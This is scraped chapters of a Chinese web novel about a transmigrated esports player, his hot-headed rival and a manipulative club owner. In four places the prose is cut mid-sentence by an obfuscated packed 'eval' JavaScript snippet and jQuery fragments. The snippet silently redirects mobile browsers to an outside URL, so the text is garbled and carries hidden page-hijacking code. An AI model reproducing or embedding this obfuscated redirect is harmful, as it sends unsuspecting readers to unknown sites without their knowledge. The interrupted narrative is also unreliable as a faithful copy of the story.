更让林小双大跌眼镜的是,一直是圈内笑话的钟不拘,竟然难得硬气,只回了裘度一个字:
“滚。”
裘度揉了揉眼睛,额头上迸出一条青筋。
为防俱乐部的摇钱树塌房,林小双已经做好了随时拔掉裘度电源的准备,好在此时排位开始了。
虽然刚吃了闭门羹,裘度这局表现算是相当绅士,他不仅主动给钟不拘让出蓝buff,开局五分钟竟然还没去蹭线。
林小双想起自己在赛场的待遇,有些泪目。
开局十五分钟时的一波大龙团,裘度操作塔罗斯主动控住敌方ad和辅助,给钟不拘创造收割机会。
“我靠,”林小双没忍住暗骂了一声,以“独”出名的裘度竟然让出了收割和抢龙的机会。
然而,钟不拘的赛琳娜并不领情,一个华丽的跃迁技能直接切到龙坑一侧,打出一串滔滔不绝的被动,以一敌三刷了对方的上单和中单还顺手抢了龙。
“你故意炫技,是吗?”裘度忍无可忍,在砸爆对方ad和辅助后,咬着牙问道。
虽然尽力克制,但他的声音低哑如同夹杂着冰渣。
VHG全队都知道这是他暴怒前的征兆,热闹的训练室突然安静下来。
钟不拘依旧是打字:“常规操作,算不上炫技。”
裘度的膝盖狠狠撞上主机箱,林小双连忙凑在他耳边提醒:“裘哥,在直播呢!”
裘度一把推开林小双,瞪着屏幕的狭长双眼气势凌人:
“打三局,看谁人头多,输了删号,敢不敢?”
真是疯了!
林小双无助地向其他队员投去眼神,突然训练室里喝水的、系鞋带的、睡觉的,应有尽有,忙成一片。
......
钟不拘听着耳机传来裘度的挑战,能猜出他此刻气急败坏的样子。
他不知道原主到底喜欢裘度什么,但他也不在乎。
听着男人低沉如野兽的呼吸,钟不拘先把中路兵线清完,然后不慌不忙打字道:
“你们教练都教了些什么,这是团队游戏。”
裘度没再回话,但钟不拘能感觉到他的打法骤变,方才向自己倾斜的资源统统被收回。
他又变回了小说中描写的,刷爆敌我野区、吃穿三路兵线的赛场霸王。
钟不拘眼光流转,眼角微微上扬,清冷的表情难得夹带上不屑。
穿书前,钟不拘管教过不少像裘度这样,自以为天下无敌的年轻选手。
他的方式也很简单,用绝对的实力击碎对方引以为傲的资本。
能重新建设信心、打磨自己的,就留下继续拼搏;至于被打垮的,就根本不适合电竞。
像是删号战这种愚蠢的挑衅,他至少处理过十次。
他从来没输过。
钟不拘不理会裘度发狂似的侵占资源,手上的赛琳娜越玩越有感觉,飘飘然如峡谷鬼魅,打得对手不敢出塔。
第一局结束,钟不拘拿下7个人头,裘度5个。
第二局,钟不拘换上不太熟悉的中单英雄,他深知对于自己而言,快速掌握新游戏是最重要的。
裘度则拿出他上赛季决胜局夺
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945145|160825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冠的饕餮,一个需要大量经济倾斜的高爆发打野英雄。
最终钟不拘拿下9个人头,裘度10个。
裘度险胜,VHG训练室内气氛这才放松了些,队员们终于敢和直播间的粉丝聊上两句。
当然,此时他们的直播间也被裘度的粉丝挤爆。
CPL第一打野和不知名替补中单的删号战,已经登上微博电竞板块的热搜第一。
“嗯嗯嗯,裘哥就是玩儿呢。”林小双流着冷汗安慰粉丝,“下一局,裘哥认真起来削他如切菜好吧。”
话虽如此,他却能看出裘度实则尽了全力,饕餮的每个技能的落点如此精准细密,攻势如暴风骤雨,完全是职业赛场的水准。
如此才仅仅是险胜钟不拘?
太可怕了,林小双擦了一把汗,甚至开始担心自己的饭碗。
第三局,钟不拘直接从还没玩过的中单英雄里随意选了一个,裘度泽拿回了第一句的塔罗斯,似乎是要找回场子。
两人看似队友,实则场上每一块钱经济都锱铢必较地争抢着,如两头喋血的猛兽,你咬我一口,我必回敬一爪。
其余三个队友像是围观父母打架的孩子,大气都不敢喘。
如此厮杀了二十分钟,钟不拘凭借对经济更合理的分配,以及更佳细致的节奏,领先了两个人头。
敌方已经退守高地,这局排位就快分出胜负。
就在即将攻破对方中路高地塔时,钟不拘的手机不合时宜地震动起来。
是BIG战队经理。
钟不拘腾出手,点开对方发来的语音:
“Freeman,你不要瞎胡闹!你们这个什么删号战热度太高,联盟已经关注了。”
“Lock没有认真玩,你也别装逼害得他删号,他可是联盟的台柱子,要是损失了人气你赔不起!你懂的吧!”
“赶紧投降!”
经理气势汹汹、来者不善。
钟不拘放下手机,蝴蝶般优美单薄的肩膀怂了怂,紧接着他直接抬起双手,任由自己的英雄在高地上待机。
就这么眼睁睁看着裘度补足三个人头,两人平局,钟不拘这才推倒了地方水晶。
巨大的Victory出现时,他直接退出了裘度的排位队列。
这时候,手机又响了起来,钟不拘一看,正是被原主置顶并备注【老公】的裘度:
“这次放你一马,下次一定是我赢!”
钟不拘面无表情,点开功能菜单,选择了“拉黑”。
刺眼的老公二字从屏幕上消失,钟不拘放下手机继续单排,心无波澜。
……
裘度人气高达两千万的直播间突然黑屏了,观众只能听见重物被砸在地上的声音,以及林小双切断直播前的一句“裘哥”。
此时聚集在裘度直播间看热闹的众多账号里,有一个叫“Shawn”的账号,同时默默退出了直播间。
祁舜看着微博热搜居高不下的“删号站”三个字,像是深海中闻到血腥味的鲨鱼,贪婪地舔了舔嘴角。
他看向崔助理:“下周一开会前,让钟不拘先单独来见我。”
8. 养蛊其一
“哥,你真的要回俱乐部吗?”
BIG俱乐部门口,带着帽子口罩墨镜的粉发神秘男子帮钟不拘提着行李。虽然看不见脸,但那楚楚可怜的撒娇语气让人难以拒绝。
钟不拘挽起长发,在脑后随手捆成一个髻,发梢带过的冷香让粉发男子喉结一滑。
他神色淡然:“当然要回。”
尹宙没忍住抢话:“那群垃圾之前不是总欺负你吗?还有那个什么球,天天指使粉丝霸凌你......”
钟不拘一手拿过行李,一手在唇间竖起食指:“尹宙,停。”
尹宙机关枪似的嘴突然停住了。
要是放在以前,他肯定是要喷个爽,但是如今,哥哥神色间不加掩饰的冷漠,反倒让他觉得自己是条狗,无法违逆主人的命令。
眼见钟不拘就要推门离去,尹宙还是低声嘀咕了句:
“哥,他们要是欺负你,你就跟我说,我现在有粉丝了!”
钟不拘的浅笑稍纵即逝:“祝你拍摄顺利。”
“你别说,姓钟的使狐媚子真有一手,Lock......”
“不仅Lock,听说前两天‘偶像101’上有个小鲜肉还给他表白呢......”
“诶,那不是他弟吗......”
“他有个屁的弟弟,这是人家play的一环!”
钟不拘刚一走进,嘈杂的大厅骤然安静。
虽然那双潋滟的杏眼自带多情,但配上他微微下垂的唇角以及漠然的神色,反倒显得若即若离,叫人难以琢磨。
他一眼扫过众人,除了已经熟识的黄毛、胖子和小眼镜,还看见几个陌生面孔。
虽然不像那三人般吊儿郎当,但神色倨傲,想必就是BIG的首发队员。
钟不拘不同任何人问好,抬腿就向训练室走去。
“诶Freeman,等等、等等!”
刚上两级台阶,他就迎面撞上一脸堆笑的战队经理,丝毫看不出此人一周前还记不得他的ID。
钟不拘停下脚步,依旧神色漠然。
被他这么一看,经理脸上的笑容莫名僵硬了一下:“咱们战队要开始考核了,祁总和我都有几句话要对你说。”
钟不拘微微颔首,一言不发跟着经理走进小会议室。
小会议室里空无一人,钟不拘坐在长桌一旁,看经理左顾右盼地锁上了门。
回过头,经理脸上笑意更盛:
“祁总等下要和你单独聊聊,我想着你才二十岁,社会经验不够丰富,怕你吃亏,所以想帮帮你。”
钟不拘不太擅长处理人情世故,但终究知道,中年男人开始这么说话的时候,往往就是要占人便宜了。
他理了理额角的碎发:“您说。”
经理露出一副关切热络的神色:
“转眼你也来BIG两年了,虽然咱们平时沟通不多,但想必你也能感受到,我对你,其实是很关照的。”
钟不拘一愣:“有吗?”
“咳咳,”经理差点被口水呛死,咳了几声才缓过劲来,“润物细无声,你太年轻,还不明白我的良苦用心。”
见钟不拘不再说话,经理继续道:
“祁总这个人啊,太厉害了。28岁就麻省理工博士毕业,又在顶级投行打磨了两年,这一回来,就改变了祁家的格局......”
钟不拘抬起纤白修长的手,姿态优雅地打了个呵欠。
经理笑得脸都僵了,心里也骂了一万遍你这个贱人的屁股早晚被人弄烂:
“但是,年轻人嘛,新官上任三把火,总是一不小心就烧得太旺。”
“按照祁总的安排,咱们俱乐部这次考核过后,要裁掉一半的选手。这次考核不仅要看技术,也要看商业价值,是综合的考量......”
“我明白。”钟不拘难得开口,语气轻柔平缓。
经理怨毒的目光突然带上一点期待。
“我会尽力争取首发中单的位置。”
他的语气依旧轻飘飘的,但是经理却像是遭遇了迎头重锤,咬牙道:
“Freeman,我知道你的志向不在赛场,你不要勉强自己。”
钟不拘眉头微蹙。
经理继续道:
“如果你答应哥,等下主动和祁总说你不想留在BIG,哥就帮你转会去VHG。”
“你也知道,按照你的实力,VHG肯定不会要你。但是哥有人脉,能让你拿着一笔转会费去Lock身边!”
“你不是一直喜欢Lock吗?最近还上了热搜呢,哥宁拆十座庙!不毁一桩婚!”
经理一双鼠目里神光熠熠,表情也万分得意,像是坚信自己抛出了无法拒绝的条件。
然而,钟不拘毫不犹豫:“不行,我要打比赛。”
“啊?”经理顿时说不出话了,他甚至想扇自己两耳光,确认不是在做噩梦。
钟不拘又重复了一遍:“我要打比赛。”
经理深吸一口气,脸上神色变换不定:“你已经是成年人了,要为自己的言行负责。”
钟不拘甚至没抬眼看他:“当然。”
笑容里的伪善一扫而空,经理神色带上几分阴狠:“那你可别怪哥没劝过你,哥手里可拿着你......”
没等经理把话说完,钟不拘就径直起身:“无论如何,我都是要打比赛、拿冠军的。”
他头也不回地推开会议室的大门,快步向训练室的方向走去了。
刚走出几步,走廊尽头沉重的大门却突然打开,逆着光走出一道高大挺拔的身影。
西装裁剪得利落,衬出完美的肩腰比。
“Freeman,”祁舜的声音低沉像大提琴的和弦,“我们谈一谈。”
钟不拘轻叹口气,想去训练怎么就这么难呢?
祁舜虽然是首富之子,但办公室却布置得相当简洁。一张黑檀木办公桌横亘在窗边,配上两张小羊皮沙发。
“先坐。”
祁舜安排钟不拘坐在沙发上,自己斜倚在办公桌旁,手里把玩着一只切割得流光溢彩的玻璃杯,里面有淡棕色的酒液流淌。
他深邃的眼眸俯瞰着钟不拘,语气听不出感情:“Freeman,这周你好像很忙。”
钟不拘仰起头,显出精致流畅的下颌线条以及纤秀的下巴:“在忙训练。”
“哦?”祁舜浅笑了一声,“我有看到Lock还有你弟弟的热搜。”
钟不拘知道他在说什么,自从和裘度的删号战打成平手,关于他俩的热搜就一直居高不下。
尤其在他把裘度微信拉黑后,对方甚至连发三条微博
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945146|160825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,约他再“认真”地打上一场。
大批粉丝涌入他的直播间和微博,指责他竞技态度不佳,故意嘲弄裘度。
就在此时,尹宙参加的选秀综艺播出了第一期。
那天尹宙硬是把钟不拘圈在怀里,两人在那张窄床上看了两个小时。
虽然足足有101名练习生参加,但尹宙胜在形象优秀、基本功扎实,得到了许多镜头,赛前访谈也被选中播出。
综艺画面里,尹宙一头粉发衬得皮肤更白,他对着镜头害羞地眨了眨眼,低头一笑露出嘴角的小虎牙。
再加上他188的傲人身高,以及结实却不夸张的肌肉线条,一看就是市场上很受欢迎的阳光小狼狗型偶像。
导播问尹宙,人生中最重要的一首歌是什么。
尹宙的眼睛亮亮的,说是哥哥给自己唱的摇篮曲。
顺着导播的询问,尹宙透露了自己是孤儿的悲惨身世,以及哥哥如何像暗夜里唯一的光一般,照亮了他的人生和前路。
说到动情处,尹宙恰到好处地红了眼睛,更是引人垂怜。他带着淡淡的哽咽,红着眼唱了一小段摇篮曲。
采访结尾,导播问尹宙有什么想对哥哥说的。
尹宙介绍了哥哥的职业选手身份,并且表示希望哥哥训练不用这么累,因为他以后也可以养家了。
这期综艺一经播出,尹宙一举跻身练习生中的热度Top 10。
那阳光的笑脸、令人唏嘘的身世、哀婉动人的歌声,吸引了不少姐姐粉和妈妈粉的真金白银。
随着尹宙走红,他神秘的职业选手哥哥的身份也很快被扒出,正是如今电竞圈的“大红人”——BIG战队替补,钟不拘。
就这样,娱乐圈和电竞圈的热搜都指向了同一个人。
钟不拘这个陌生的名字,甚至一度攀上了微博热搜总榜前五十。
迎上祁舜深沉如潭的目光,钟不拘神色如常:“这些事情有训练重要吗?”
祁舜抿了口玻璃杯中的酒液:“你很特别。”
钟不拘殷红的唇看起来比名酒更诱人:“我只想赢而已。”
祁舜放下酒杯,走到钟不拘身边,居高临下地看着他,视线滑过他精巧如工艺品的下巴和白皙能隐隐看见血管的颈。
“你让我想起了小时候的自己。”
祁舜目光沉沉,一贯沉稳的语速却变快起来:
“我有很多同父异母的哥哥和姐姐,所有人都对我说,我是父亲最宠爱的小儿子,只要足够乖巧,荣华富贵十辈子也挥霍不尽。”
“但我总是想,我只有一辈子,而非十辈子。所以我要活得精彩,我要赢。”
“我要告诉我的哥哥姐姐,我想要的不仅是玩具和豪车,我想要的是集团董事会的投票权,是把他们踩在脚下的资格。”
“我也想告诉我的父亲,就算我一点也不乖巧,他也绝不能轻视我——”
“因为我将要从他手里接过这艘看似巨大,但已经搁浅在暗礁里的巨轮,我要把这些寄生的蠹虫清理干净。”
祁舜的目光游走在钟不拘天生多情的眉眼和绷紧的颈间,他伸出手捏住钟不拘翘度完美的下巴:
“Freeman,你说我们是不是一种人?”
“你根本看不上只会发怒的蠢货和哭鼻子的小孩,对不对?”
9.养蛊其二
祁舜把他的下巴抬得太高,钟不拘呼吸不畅,白皙的颈间隐隐露出青色血管,像是白瓷上青花。
他的嘴唇微微张开,饱满红润的唇珠被祁舜带着淡淡酒气的气息掠过。
透过祁舜墨蓝色的眼,钟不拘仿佛看见了暴风雨前的海,酝酿中的风暴撩动起水中细小的漩涡。
微不可见的小漩涡,但一旦忽视就可能被吞没。
钟不拘颈部用力,从祁舜的双指中挣脱出来,下巴的红痕稍纵即逝,他看见祁舜的目光似乎变得更黯淡深沉。
或许是相似的成熟男人的气息,或许是同样的对于赢的执念,或许是短暂的缺氧。
钟不拘眼中的祁舜,竟有一瞬间和记忆中的那个男人重合。
“你也让我想起一个......朋友。”钟不拘斟酌着开口:
“他曾对我说,我们这样的人,一定要赢。”
祁舜居高临下地玩味着钟不拘颤动的眼睫,倾身问道:“Freeman,他让你伤心吗?”
钟不拘的心脏不受控制地被刺痛:“不,他已经离开很多年了。”
“他也会叫你Freeman吗?”祁舜嗓音沉沉,仿佛蛊惑又像是安抚,“还是别的什么?譬如,小拘。”
钟不拘猛然抬头,精致如玉雕的鼻尖和祁舜只有一纸之隔:“祁总,别这样。”
祁舜喉咙里传来一声轻笑:“小拘,不要怕。”
钟不拘说不出话,整个人都颤抖起来。
他觉得祁舜眼中的大海正在淹没自己,那些遗憾的、悲伤的过往让他窒息。
祁舜看在眼里,顺势把宽大的双手搭上钟不拘的肩膀,触觉分外单薄,像是用力一捏就会碎掉。
“小拘,”祁舜不顾钟不拘的抗拒,用近乎掌控的语气道:“要和我一起赢下去,好吗?”
钟不拘眼眶骤然红了,他奋力挣开祁舜的禁锢,几乎是落荒而逃:“祁总,对不起,我......”
祁舜和他在办公室的两端对峙着。
祁舜收回双臂,落地窗在他剪裁精良的西装上镀上银辉,让他又变回拒人千里的模样。
“考核加油,小拘。”祁舜噙着笑,看钟不拘摇晃着离开办公室。
钟不拘离开后不久,崔助理早有准备似得走进来。
祁舜又摇晃起雕刻精美的玻璃杯,两条长腿随意搭在茶几上:“他怎么样?”
崔助理打开笔记本,例行公事般汇报道:
“虽然对方不善言辞,但是从微表情看来,应该已经对您建立了基本的信任。”
“在您喊他小拘之后,虽然他出现了抗拒的情绪,但是下巴肌肉放松,脖子和肩膀的角度变大,而且身体出现了一定幅度的前倾......”
祁舜没耐心听长篇大论的微表情分析,打断道:“所以他和之前那些人一样,对我印象不错?”
“这倒没错。”崔助理有些犹豫:
“可是祁总,这个钟不拘也不是什么明星选手,连首发都没影呢,您干嘛要找他聊?”
祁舜扬起眼皮,指了指沙发,示意崔助理坐下:
“你说二姐的娱乐公司,为什么那么赚钱?难道是因为那群小白脸,演技好?”
崔助理规规矩矩地坐下:“当然不是,二小姐深谙粉丝经济,靠的是用情绪资本调动流量矩阵......”
祁舜冷笑了一声:“你看看钟不拘那张脸,再看看这一周他弄出的风波。”
“就算再是个花瓶,能天天挂在热搜的花瓶,也得是黄金做的。二姐还笑我,说我从大哥手里捡破烂,电竞俱乐部如今没有能赚钱的,就让我来教教她。”
崔助理点头:“祁总明鉴。”
“反正我也只是演了出戏,连成本都没有。”祁舜雕塑般的脸上闪过一丝得意,“大不了再换一个。”
崔助理恭维道:“祁总如今驭下之术愈发强悍,刚才我看着监控录像,还真担心......”
祁舜垂下眼,打量着自己方才捏过钟不拘下巴的指尖:“担心什么,我们这种人,没有真感情。”
“只有钱和权力是真的。”
祁舜对着指尖吹了口气,将杯中酒一饮而尽。
......
钟不拘回到心心念念的训练室,但坐在电脑前,心潮却久久难以平静。
他不知道祁舜为什么能抓住他心中最深的秘密、最真切的怀念。
在祁舜的脸和他记忆中的那人重合时,他甚至不知道自己到底是何种感情,是遗憾吗,是憎恨吗,是感恩吗,还是......
就在此时,他的电竞椅猝不及防被人踹了一脚,险些人仰马翻。
钟不拘堪堪稳住身形,转过头,映入眼帘的是一张稚气未脱的少年脸,只是神色倨傲,看起来不好接近。
“看什么看?”对方没有道歉的意思,反倒咄咄逼人:
“电子竞技实力说话,你别以为自己抱上Lock大腿就能取代我!”
钟不拘这才对上号,这位应该就是BIG战队目前的首发中单,邱浩,ID:Mount。
他回忆起小说中的描写,邱浩本来只是联盟中实力倒数的中单,但在BIG重组后发愤图强,硬是把BIG从保级战队拉到联盟中游。
但是邱浩有个心病,他非常害怕裘度,据说是在某场比赛被单抓13次后留下的心理阴影。
只要在赛场遇上VHG,他都无法突破心魔,导致BIG沦为裘度炫技的背景板。
“喂你看什么看,不服吗?”
邱浩被他看得浑身不自在,又折回两步,恶狠狠道。
钟不拘的眼睛是很漂亮的,弧度圆润的杏眼配上漆黑的瞳色,加上眼中氤氲不散的水光,任谁看都我见犹怜。
然而面对这双眼的审视,邱浩却如芒在背,好像什么都被对方看穿了。
听见这边的喧哗,训练室里的队员都投来八卦的目光,尤其是黄毛为首的几人,幸灾乐祸就挂在脸上。
“服不服,也不是说了就算数。”钟不拘收回目光,语气平缓柔和。
邱浩愣了一下,怒吼道:“有种你现在上号,我们也来场删号战!”
钟不拘恨铁不成钢:“你不学Lock的打法,反倒学了他冲动的毛病,怕是永远也比不上他。”
一听Lock这个名字,邱浩两眼一下红了。
“Mount别生气啊,人家这是显摆自己爬上Lock的床了!”黄毛热情地围上来劝解。
邱浩恶狠狠地看向钟不拘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947088|160825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“我就算暂时打不过Lock,这不代表我永远打不过!我会一直挑战他,直到退役那天!”
“倒是你,只能炒作花边新闻,没资格说我!”
虽然邱浩的食指正对着鼻尖,但钟不拘神色依旧镇定,嘴角甚至噙着一丝笑意。
“我靠这逼疯了吧。”黄毛拉着邱浩往后退了一步。
“你想赢,这很好。”钟不拘轻靠在电竞椅上,精致的下巴抬起:
“Lock的打法虽然凶悍,但是他很容易被激怒,成为团队的短板,如果你想战胜他,就不能躲着他,反而应该去挑衅他......”
邱浩听着钟不拘条例清晰的分析,回忆起场上裘度的表现,竟然觉得确有道理,逐渐镇静下来。
“喂Mount,你可别被他忽悠了啊!”黄毛记着钟不拘害自己在新老板面前出丑,继续拱火道:
“他要是这么懂,怎么会一直打替补,这赛季唯一一次上场,被Lock打得像孙子!”
“就是,除非他打假赛了。”小眼镜见缝插针,把假赛二字拉得很长。
邱浩听他们一说,顿觉自己刚才像个傻子,怎么还和花瓶替补学习起技术了。
几人争执不下时,战队经理推门而入,崔秘书跟在后边,手里握着个笔记本。
众人都明白这崔秘书就是小祁总的代言人,一时间训练室里落针可闻。
崔助理开门见山:
“众所周知,从今天开始,咱们俱乐部要进行为期半个月的考核。通过者可以留下,祁总慷慨,会给大家涨薪。”
“但没有通过考核的,恐怕就要离开BIG。”
崔助理话音刚落,经理就殷勤地向众人分发考核安排,活像是崔助理的助理。
递给钟不拘时,经理脸上骤然出现笑意,看起来却分外阴森。
经历了方才经理的威胁,钟不拘回忆过小说中原主的遭遇:
“钟不拘”被裁员后,迫于生计屡次哀求经理开恩,甚至还尝试过贿赂,但被经理无情举报,祁舜亲自发话对他永不录用。
之后“钟不拘”还去VHG基地求过裘度,却被裘度当着郁寻的面踹了一脚,两人当着“钟不拘”的面热情拥吻,差点把他气死。
钟不拘一笑置之,无论如何,贿赂经理这种事,他是绝对不会做的。
“哇,怎么还要考核微博粉丝涨幅和直播间的礼物价值?”
“不只看训练赛成绩,还要对选手形象进行打分!”
“靠早知道我就减肥了!”
考核标准一经发出,训练室里充斥着哀嚎。
钟不拘也蹙起眉头,虽然此时正处于舆论风波的核心,但这种不以实力为唯一标准的考核,其实不符他的追求。
崔秘书又把考核标准朗读了一遍,末了道:“大家还有什么问题吗?”
钟不拘正准备举手,却听见邱浩已经大叫起来:
“这标准不公平,不就是为了保住钟不拘吗!凭什么!”
崔秘书刚准备传达祁舜的运营宗旨,就见训练室角落里举起一只修长漂亮的手。
“钟不拘?”崔秘书摸不着头脑。
“这标准不好,”钟不拘淡淡道,“电子竞技,难道不该只看实力吗?”
10.狩猎
钟不拘的声线轻柔,语速也平缓,听起来像南方三月的小雨,但这雨滴声却让训练室里的喧嚣再次归于沉寂。
饶是崔秘书已经跟在祁舜身边见过大风大浪,此时脸色也阴晴不定。
他看着钟不拘那张旖丽的脸,明明半小时前还一副泫然欲泣的可怜模样,怎么转眼又如此决绝。
不过此人终究是个花瓶,崔秘书暗想。
明眼人都能看出,考核标准简直是为他量身打造,怎么现在还要嚷嚷电子竞技实力至上?
崔秘书摇摇头,吞吞吐吐道:
“诸位,祁总理解大家求胜心切,但是呢,电竞俱乐部的运营,可不是你们想得这么简单……”
“崔秘书,你话也说得太客气了。”
他刚挤出几句漂亮话,门外就传来低沉的男声。
祁舜大步走进训练室,他一身订制西装穿得笔挺,无框眼镜架在混血特有的高挺鼻梁上。
他垂眼一瞥,一众选手都被气势压得低头,活像一群鹌鹑。
只有钟不拘还仰着头,颈部线条优美挺拔如天鹅。
祁舜的眼光扫过他冷淡漂亮的脸庞,抬手推了下眼镜:
“考核标准是我们基于行业咨询公司的调研,以及对于国内电竞行业的发展预测综合制定的。”
经理立刻起身,殷勤地把自己的电竞椅推倒祁舜身后。祁舜顺势坐下,长腿伸展:
“我也是初来乍到,和各位可能不算熟悉。今天大家有什么问题和意见,我们可以充分讨论。”
众人都沉默下来,选手们你看我我看你,最后视线都落在邱浩身上。
邱浩一张稚嫩的脸憋得通红,他才十九岁,一天到晚都在打游戏,哪里知道怎么和首富的儿子辩论?
“不管了,”邱浩咬着牙给自己壮胆,他举起手:
“祁……祁总,我觉得那个,这个考核的标准不够公平,就是……”
邱浩磕磕巴巴,脸红得能滴出血,钟不拘看见经理对他做了个抹脖子的手势,唇语说着“闭嘴”。
“实力应该是决定谁留谁走的唯一标准。”
钟不拘突然开口,声音既柔且亮,把众鹌鹑的目光吸了过去。
“对对对,”正卡壳的邱浩像是抓住了救命稻草,鼓起勇气大喊道:
“不应该偏心那些打得菜但长得好看的人!不公平!”
话一出口,黄毛等人憋笑都快憋哭了。
邱浩也慢了一拍反应过来,他低着头悄悄打量钟不拘,低声道:“我不是说你啊......”
出乎意料的是,钟不拘脸上没有尴尬恼怒之色,还是那副云淡风轻的样子。
“钟不拘,”祁舜骤然开口,“你觉得国内电竞行业发展如何?”
钟不拘回想起穿书前华国电竞的盛况,在他带队连夺S赛三连冠后,每逢LOL赛事,场馆座位总是供不应求。
他甚至参加过亚运会等国际体育赛事,以一个电竞选手的身份,身披国旗亲吻奖牌。
人们在街巷中欢庆呐喊,他们不再是上不了台面的不良少年,而是成为运动员、成为榜样、成为英雄。
反观如今的COW,纵然仅仅穿书一周,钟不拘也不得不承认对比之惨烈。
他抿了抿唇,对上祁舜锋利的眼神:“还有发展空间。”
祁舜笑:“说直白点。”
钟不拘:“很烂。”
“还不傻。”祁舜把目光从钟不拘漂亮的脸上移开,环视众人:
“根据咨询公司的预测,华国的电竞市场还会逐年缩小。”
“各位,winter ising,凛冬将至。”
他潇洒地翘起二郎腿:“坦白来说,我是一个商人,不是慈善家。”
“对于每一笔投资,我都有预期的收益。如果达不到,这笔投资就是败笔,我会毫不犹豫地扔掉。”
“市场逐年萎缩,不是只靠好好打游戏就能改变的,所以我们需要多维度地开发赛事的商业价值,才能逆境中求存。”
祁舜适时张开小臂:“所以,我不是在害你们,我是在救你们。”
方才叫嚣着不公平的众人早已说不出话。
祁舜觑着钟不拘:“Freeman,现在你同意吗?”
钟不拘叹息:“我不同意。”
轻飘飘的四个字,一下吸引了训练室内众人的目光,赞许、不解、幸灾乐祸应有尽有。
祁舜抬眉:“说来听听。”
钟不拘正色道:“我们缺的不是商业价值,是一个冠军,一个S赛冠军。”
“不以追求冠军为目的,一切都是竭泽而渔。”
祁舜欣赏着他颤动的鸦睫和眼角淡淡的红晕,突然想起曾在北美森林中狩猎的野鹿。
都是那么灵动、脆弱,又顽固,不被猎刀割断喉咙,就总想着要做拼死一搏。
“你看起来很伤心。”祁舜嘴角噙着笑。
钟不拘没有回答:“我认为考核标准应该修改。”
祁舜倾身:“你真觉得自己能拿世界冠军?”
钟不拘:“不死不休。”
这话一出,训练室里众人都压抑不住哂笑。
黄毛推了一把身边的胖子,声音不大不小,刚好落进钟不拘的耳朵:“真特么中二,是不是被Lock日傻了。”
“有趣。”祁舜收回和钟不拘对视的目光,嘴角笑意更盛:
“那我们来打个赌,假如你们赢了下午的训练赛,考核指标可以酌情修改。”
......
“钟不拘呢?让他出来跟我打!”
裘度饱含怒意的声音回荡在BIG战队训练室,邱浩坐在机位前,控制不住发抖的右手。
祁舜没指定训练赛阵容,众人很有默契地排除了钟不拘,派首发阵容出战。
但是没想到,对手竟然是卫冕冠军VHG。
他们这样的弱队,一年到头和VHG约上训练赛的机会,怕是一只手就能数清。
怎么偏偏是今天?
训练赛实况投影在训练室的墙壁上,语音都开了外放。
BIG-Mount直到倒计时最后一秒,才勉强选出英雄。
“你和Lock很熟?”
祁舜坐在钟不拘身旁,西装裤包裹着他肌肉健硕的大腿,状若无意地碰上钟不拘的膝盖。
“不太熟。”钟不拘往左挪了挪。
祁舜不依不饶,雪松气味的香水在钟不拘鼻腔里攻城略地:
“有人告诉我,你非常喜欢他。”
开局不过三分钟,邱浩就被裘度逼得不敢走出中路一塔,裘度大摇大摆地侵吞着BIG的野区。
钟不拘蹙着眉:“无稽之谈。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951836|160825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
祁舜:“那你喜欢男人吗?”
钟不拘一时语塞,扭过头看向祁舜。
对方墨蓝色的眼睛正盯着投影,神色深沉内敛,像是没问过刚才的问题。
十五分钟后,BIG输了BO5的第一局。邱浩一脸苍白地走出机位,额角汗涔涔的。
他的表现堪称稀烂,裘度在察觉到他的怯战后,用最恶劣的打法遛狗似的玩弄他,直到0-10的战绩彻底将他击碎。
“记住我说过的话,对上Lock躲是没有用的,”钟不拘抬眼看向失魂落魄的少年:
“要用更猛烈的进攻激怒他,然后击败他。”
邱浩跌坐在电竞椅上,想到自己在新老板面前除了丑,语气更加不善:
“钟不拘,你行你上啊!别跟我装逼了行吗?”
“别让我失望。”祁舜深邃的眼睛又聚焦在钟不拘脸上。
“钟不拘,你这些天为什么一直躲着我!”
“你为什么拉黑我的微信?为什么删掉关于我的微博?为什么忽略我的组队消息……”
